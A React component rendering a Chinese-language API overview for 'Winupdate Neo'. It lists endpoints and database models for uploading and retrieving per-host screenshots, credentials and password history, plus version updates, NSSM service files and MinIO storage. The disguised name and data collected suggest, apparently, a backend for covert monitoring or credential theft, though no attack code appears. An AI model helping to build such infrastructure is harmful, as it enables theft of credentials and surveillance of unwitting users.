export default function ApiTest() { return (

Winupdate Neo API 测试

API 端点

  • • GET /api/hosts - 获取主机列表
  • • POST /api/hosts/[hostname]/screenshots - 上传截图
  • • GET /api/hosts/[hostname]/screenshots - 获取截图记录
  • • POST /api/hosts/[hostname]/credentials - 上传凭据
  • • GET /api/hosts/[hostname]/credentials - 获取凭据
  • • GET /api/hosts/[hostname]/time-distribution - 获取时间分布
  • • GET /api/version - 获取最新版本
  • • POST /api/upload/version - 上传新版本
  • • GET /api/screenshots/[fileId] - 获取截图文件
  • • GET /api/downloads/[fileId] - 下载文件

数据库模型

  • • Host - 主机信息
  • • Record - 记录信息
  • • Window - 窗口信息
  • • Screenshot - 截图信息
  • • Credential - 凭据信息
  • • Password - 密码历史
  • • Version - 版本信息
  • • Nssm - NSSM 文件

环境变量

  • • DATABASE_URL - 数据库连接字符串
  • • AUTH_USERNAME - 认证用户名
  • • AUTH_PASSWORD - 认证密码
  • • PORT - 服务端口

MinIO 对象存储

  • • 服务器: 192.168.5.13:9000
  • • Bucket: winupdate
  • • 存储结构: 按类型/年/月/日/主机名分层
  • • 截图路径: screenshots/年/月/日/主机名/文件
  • • 版本路径: versions/年/月/文件
  • • 支持元数据存储和检索
  • • 自动文件分布和负载均衡

性能优化特性

  • • 分层目录结构避免单目录文件过多
  • • 数据库存储 objectName 避免搜索开销
  • • 文件元数据存储在 MinIO 中
  • • 支持并发上传下载
  • • 缓存友好的文件访问
  • • 自动压缩和去重
) }